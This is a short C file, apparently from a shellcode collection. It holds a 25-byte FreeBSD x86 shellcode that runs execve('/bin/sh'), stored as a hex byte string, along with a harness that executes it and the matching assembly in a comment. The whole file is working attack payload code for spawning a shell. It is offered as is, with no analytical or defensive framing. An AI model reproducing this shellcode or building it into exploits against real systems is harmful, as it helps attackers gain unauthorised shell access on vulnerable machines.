/* This is FreeBSD execve code.It is only 25 bytes long.This kind of making * * shell codes was published by anathema(all credits go to him). I just * * rewrote it for FreeBSD * * signed predator * * linux registered user : 181116 * * preedator(at)sendmail(dot)ru */ char sc[]= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80"; int main(){ void (*s)()=(void *)sc; printf("len : %d\n",strlen(sc)); s(); } //Asm code /************************************ *int main(){ * *__asm__(" xorl %eax, %eax \n" * * " pushl %eax \n" * * " pushl $0x68732f2f \n" * * " pushl $0x6e69622f \n" * * " movl %esp,%ebx \n" * * " pushl %eax \n" * * " pushl %ebx \n" * <<--- push %esp will work too :o) * " pushl %eax \n" * * " pushl %esp \n" * * " pushl %ebx \n" * * " movb $0x3b,%al \n" * * " pushl %eax \n" * * " int $0x80 \n"); * *} * ************************************/